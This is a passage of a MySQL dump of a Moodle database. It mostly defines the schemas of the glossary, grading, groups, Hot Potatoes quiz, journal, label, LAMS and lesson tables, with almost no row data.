  `glossaryid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `concept` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `definition` text COLLATE utf8_unicode_ci NOT NULL,
  `format` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `attachment` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `teacherentry` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `sourceglossaryid` int(10) unsigned NOT NULL DEFAULT '0',
  `usedynalink` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `casesensitive` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `fullmatch` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `approved` tinyint(2) unsigned NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`),
  KEY `glossaryid` (`glossaryid`),
  KEY `userid` (`userid`),
  KEY `concept` (`concept`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='all glossary entries';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_glossary_entries`
--

LOCK TABLES `mdl_glossary_entries` WRITE;
/*!40000 ALTER TABLE `mdl_glossary_entries` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_glossary_entries` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_glossary_entries_categories`
--

DROP TABLE IF EXISTS `mdl_glossary_entries_categories`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_glossary_entries_categories` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `categoryid` int(10) unsigned NOT NULL DEFAULT '0',
  `entryid` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `entryid` (`entryid`),
  KEY `categoryid` (`categoryid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='categories of each glossary entry';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_glossary_entries_categories`
--

LOCK TABLES `mdl_glossary_entries_categories` WRITE;
/*!40000 ALTER TABLE `mdl_glossary_entries_categories` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_glossary_entries_categories` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_glossary_formats`
--

DROP TABLE IF EXISTS `mdl_glossary_formats`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_glossary_formats` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `popupformatname` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `visible` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `showgroup` tinyint(2) unsigned NOT NULL DEFAULT '1',
  `defaultmode` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `defaulthook` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `sortkey` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `sortorder` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Setting of the display formats';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_glossary_formats`
--

LOCK TABLES `mdl_glossary_formats` WRITE;
/*!40000 ALTER TABLE `mdl_glossary_formats` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_glossary_formats` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_glossary_ratings`
--

DROP TABLE IF EXISTS `mdl_glossary_ratings`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_glossary_ratings` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `entryid` int(10) unsigned NOT NULL DEFAULT '0',
  `time` int(10) unsigned NOT NULL DEFAULT '0',
  `rating` tinyint(4) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `userid` (`userid`),
  KEY `entryid` (`entryid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Contains user ratings for entries';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_glossary_ratings`
--

LOCK TABLES `mdl_glossary_ratings` WRITE;
/*!40000 ALTER TABLE `mdl_glossary_ratings` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_glossary_ratings` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_grade_category`
--

DROP TABLE IF EXISTS `mdl_grade_category`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_grade_category` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(64) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `drop_x_lowest` int(10) unsigned NOT NULL DEFAULT '0',
  `bonus_points` int(10) unsigned NOT NULL DEFAULT '0',
  `hidden` int(10) unsigned NOT NULL DEFAULT '0',
  `weight` decimal(5,2) NOT NULL DEFAULT '0.00',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_grade_category`
--

LOCK TABLES `mdl_grade_category` WRITE;
/*!40000 ALTER TABLE `mdl_grade_category` DISABLE KEYS */;
INSERT INTO `mdl_grade_category` VALUES (1,'uncategorised',2,0,0,0,'100.00');
/*!40000 ALTER TABLE `mdl_grade_category` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_grade_exceptions`
--

DROP TABLE IF EXISTS `mdl_grade_exceptions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_grade_exceptions` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `grade_itemid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_grade_exceptions`
--

LOCK TABLES `mdl_grade_exceptions` WRITE;
/*!40000 ALTER TABLE `mdl_grade_exceptions` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_grade_exceptions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_grade_item`
--

DROP TABLE IF EXISTS `mdl_grade_item`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_grade_item` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `category` int(10) unsigned NOT NULL DEFAULT '0',
  `modid` int(10) unsigned NOT NULL DEFAULT '0',
  `cminstance` int(10) unsigned NOT NULL DEFAULT '0',
  `scale_grade` float(11,10) NOT NULL DEFAULT '1.0000000000',
  `extra_credit` int(10) unsigned NOT NULL DEFAULT '0',
  `sort_order` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_grade_item`
--

LOCK TABLES `mdl_grade_item` WRITE;
/*!40000 ALTER TABLE `mdl_grade_item` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_grade_item` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_grade_letter`
--

DROP TABLE IF EXISTS `mdl_grade_letter`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_grade_letter` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `letter` varchar(8) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'NA',
  `grade_high` decimal(5,2) NOT NULL DEFAULT '100.00',
  `grade_low` decimal(5,2) NOT NULL DEFAULT '0.00',
  PRIMARY KEY (`id`),
  KEY `courseid` (`courseid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_grade_letter`
--

LOCK TABLES `mdl_grade_letter` WRITE;
/*!40000 ALTER TABLE `mdl_grade_letter` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_grade_letter` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_grade_preferences`
--

DROP TABLE IF EXISTS `mdl_grade_preferences`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_grade_preferences` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `preference` int(10) NOT NULL DEFAULT '0',
  `value` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `courseidpreference` (`courseid`,`preference`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_grade_preferences`
--

LOCK TABLES `mdl_grade_preferences` WRITE;
/*!40000 ALTER TABLE `mdl_grade_preferences` DISABLE KEYS */;
INSERT INTO `mdl_grade_preferences` VALUES (1,2,0,0);
/*!40000 ALTER TABLE `mdl_grade_preferences` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_groups`
--

DROP TABLE IF EXISTS `mdl_groups`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_groups` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(254) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  `password` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `lang` varchar(10) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'en',
  `theme` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `picture` int(10) unsigned NOT NULL DEFAULT '0',
  `hidepicture` int(2) unsigned NOT NULL DEFAULT '0',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `courseid` (`courseid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Each record is a group in a course.';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_groups`
--

LOCK TABLES `mdl_groups` WRITE;
/*!40000 ALTER TABLE `mdl_groups` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_groups` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_groups_members`
--

DROP TABLE IF EXISTS `mdl_groups_members`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_groups_members` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `groupid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `timeadded` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `groupid` (`groupid`),
  KEY `userid` (`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Lists memberships of users to groups';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_groups_members`
--

LOCK TABLES `mdl_groups_members` WRITE;
/*!40000 ALTER TABLE `mdl_groups_members` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_groups_members` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_hotpot`
--

DROP TABLE IF EXISTS `mdl_hotpot`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_hotpot` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `summary` text COLLATE utf8_unicode_ci NOT NULL,
  `timeopen` int(10) unsigned NOT NULL DEFAULT '0',
  `timeclose` int(10) unsigned NOT NULL DEFAULT '0',
  `location` int(4) unsigned NOT NULL DEFAULT '0',
  `reference` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `outputformat` int(4) unsigned NOT NULL DEFAULT '1',
  `navigation` int(4) unsigned NOT NULL DEFAULT '1',
  `studentfeedback` tinyint(4) unsigned NOT NULL DEFAULT '0',
  `studentfeedbackurl` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `forceplugins` int(4) unsigned NOT NULL DEFAULT '0',
  `shownextquiz` int(4) unsigned NOT NULL DEFAULT '0',
  `review` tinyint(4) NOT NULL DEFAULT '0',
  `grade` int(10) NOT NULL DEFAULT '0',
  `grademethod` tinyint(4) NOT NULL DEFAULT '1',
  `attempts` smallint(6) NOT NULL DEFAULT '0',
  `password` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `subnet` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `clickreporting` tinyint(4) unsigned NOT NULL DEFAULT '0',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='details about Hot Potatoes quizzes';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_hotpot`
--

LOCK TABLES `mdl_hotpot` WRITE;
/*!40000 ALTER TABLE `mdl_hotpot` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_hotpot` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_hotpot_attempts`
--

DROP TABLE IF EXISTS `mdl_hotpot_attempts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_hotpot_attempts` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `hotpot` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `starttime` int(10) unsigned NOT NULL DEFAULT '0',
  `endtime` int(10) unsigned NOT NULL DEFAULT '0',
  `score` int(6) unsigned NOT NULL DEFAULT '0',
  `penalties` int(6) unsigned NOT NULL DEFAULT '0',
  `attempt` int(6) unsigned NOT NULL DEFAULT '0',
  `timestart` int(10) unsigned NOT NULL DEFAULT '0',
  `timefinish` int(10) unsigned NOT NULL DEFAULT '0',
  `status` tinyint(4) unsigned NOT NULL DEFAULT '1',
  `clickreportid` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `hotpot_attempts_hotpot_idx` (`hotpot`),
  KEY `hotpot_attempts_userid_idx` (`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='details about Hot Potatoes quiz attempts';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_hotpot_attempts`
--

LOCK TABLES `mdl_hotpot_attempts` WRITE;
/*!40000 ALTER TABLE `mdl_hotpot_attempts` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_hotpot_attempts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_hotpot_details`
--

DROP TABLE IF EXISTS `mdl_hotpot_details`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_hotpot_details` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `attempt` int(10) unsigned NOT NULL DEFAULT '0',
  `details` text COLLATE utf8_unicode_ci,
  PRIMARY KEY (`id`),
  KEY `hotpot_details_attempt_idx` (`attempt`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='raw details (as XML) of Hot Potatoes quiz attempts';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_hotpot_details`
--

LOCK TABLES `mdl_hotpot_details` WRITE;
/*!40000 ALTER TABLE `mdl_hotpot_details` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_hotpot_details` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_hotpot_questions`
--

DROP TABLE IF EXISTS `mdl_hotpot_questions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_hotpot_questions` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` text COLLATE utf8_unicode_ci NOT NULL,
  `type` tinyint(4) unsigned NOT NULL DEFAULT '0',
  `text` int(10) unsigned NOT NULL DEFAULT '0',
  `hotpot` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `hotpot_questions_name_idx` (`name`(20)),
  KEY `hotpot_questions_hotpot_idx` (`hotpot`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='details about questions in Hot Potatoes quiz attempts';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_hotpot_questions`
--

LOCK TABLES `mdl_hotpot_questions` WRITE;
/*!40000 ALTER TABLE `mdl_hotpot_questions` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_hotpot_questions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_hotpot_responses`
--

DROP TABLE IF EXISTS `mdl_hotpot_responses`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_hotpot_responses` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `attempt` int(10) unsigned NOT NULL DEFAULT '0',
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `score` smallint(6) NOT NULL DEFAULT '0',
  `weighting` smallint(6) NOT NULL DEFAULT '0',
  `correct` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `wrong` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `ignored` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `hints` smallint(6) unsigned NOT NULL DEFAULT '0',
  `clues` smallint(6) unsigned NOT NULL DEFAULT '0',
  `checks` smallint(6) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `hotpot_responses_attempt_idx` (`attempt`),
  KEY `hotpot_responses_question_idx` (`question`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='details about responses in Hot Potatoes quiz attempts';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_hotpot_responses`
--

LOCK TABLES `mdl_hotpot_responses` WRITE;
/*!40000 ALTER TABLE `mdl_hotpot_responses` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_hotpot_responses` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_hotpot_strings`
--

DROP TABLE IF EXISTS `mdl_hotpot_strings`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_hotpot_strings` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `string` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  KEY `hotpot_strings_string_idx` (`string`(20))
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='strings used in Hot Potatoes questions and responses';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_hotpot_strings`
--

LOCK TABLES `mdl_hotpot_strings` WRITE;
/*!40000 ALTER TABLE `mdl_hotpot_strings` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_hotpot_strings` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_journal`
--

DROP TABLE IF EXISTS `mdl_journal`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_journal` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `intro` text COLLATE utf8_unicode_ci NOT NULL,
  `introformat` tinyint(2) NOT NULL DEFAULT '0',
  `days` smallint(5) unsigned NOT NULL DEFAULT '7',
  `assessed` int(10) NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_journal`
--

LOCK TABLES `mdl_journal` WRITE;
/*!40000 ALTER TABLE `mdl_journal` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_journal` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_journal_entries`
--

DROP TABLE IF EXISTS `mdl_journal_entries`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_journal_entries` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `journal` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `modified` int(10) unsigned NOT NULL DEFAULT '0',
  `text` text COLLATE utf8_unicode_ci NOT NULL,
  `format` tinyint(2) NOT NULL DEFAULT '0',
  `rating` int(10) DEFAULT '0',
  `comment` text COLLATE utf8_unicode_ci,
  `teacher` int(10) unsigned NOT NULL DEFAULT '0',
  `timemarked` int(10) unsigned NOT NULL DEFAULT '0',
  `mailed` int(1) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `journal` (`journal`),
  KEY `userid` (`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='All the journal entries of all people';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_journal_entries`
--

LOCK TABLES `mdl_journal_entries` WRITE;
/*!40000 ALTER TABLE `mdl_journal_entries` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_journal_entries` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_label`
--

DROP TABLE IF EXISTS `mdl_label`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_label` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `content` text COLLATE utf8_unicode_ci NOT NULL,
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines labels';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_label`
--

LOCK TABLES `mdl_label` WRITE;
/*!40000 ALTER TABLE `mdl_label` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_label` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_lams`
--

DROP TABLE IF EXISTS `mdl_lams`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_lams` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `introduction` text COLLATE utf8_unicode_ci NOT NULL,
  `learning_session_id` bigint(20) DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='LAMS activity';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_lams`
--

LOCK TABLES `mdl_lams` WRITE;
/*!40000 ALTER TABLE `mdl_lams` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_lams` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_lesson`
--

DROP TABLE IF EXISTS `mdl_lesson`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_lesson` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `practice` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `modattempts` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `usepassword` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `password` varchar(32) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `dependency` int(10) unsigned NOT NULL DEFAULT '0',
  `conditions` text COLLATE utf8_unicode_ci NOT NULL,
  `grade` tinyint(3) NOT NULL DEFAULT '0',
  `custom` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `ongoing` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `usemaxgrade` tinyint(3) NOT NULL DEFAULT '0',
  `maxanswers` int(3) unsigned NOT NULL DEFAULT '4',
  `maxattempts` int(3) unsigned NOT NULL DEFAULT '5',
  `review` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `nextpagedefault` int(3) unsigned NOT NULL DEFAULT '0',
  `minquestions` int(3) unsigned NOT NULL DEFAULT '0',
  `maxpages` int(3) unsigned NOT NULL DEFAULT '0',
  `timed` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `maxtime` int(10) unsigned NOT NULL DEFAULT '0',
  `retake` int(3) unsigned NOT NULL DEFAULT '1',
  `activitylink` int(10) unsigned NOT NULL DEFAULT '0',
  `mediafile` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `mediaheight` int(10) unsigned NOT NULL DEFAULT '100',
  `mediawidth` int(10) unsigned NOT NULL DEFAULT '650',
  `mediaclose` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `slideshow` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `width` int(10) unsigned NOT NULL DEFAULT '640',
  `height` int(10) unsigned NOT NULL DEFAULT '480',
  `bgcolor` char(7) COLLATE utf8_unicode_ci NOT NULL DEFAULT '#FFFFFF',
  `displayleft` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `displayleftif` int(3) unsigned NOT NULL DEFAULT '0',
  `progressbar` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `highscores` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `maxhighscores` int(10) unsigned NOT NULL DEFAULT '0',
  `available` int(10) unsigned NOT NULL DEFAULT '0',
  `deadline` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines lesson';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_lesson`
--

LOCK TABLES `mdl_lesson` WRITE;
/*!40000 ALTER TABLE `mdl_lesson` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_lesson` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_lesson_answers`
--

DROP TABLE IF EXISTS `mdl_lesson_answers`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_lesson_answers` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
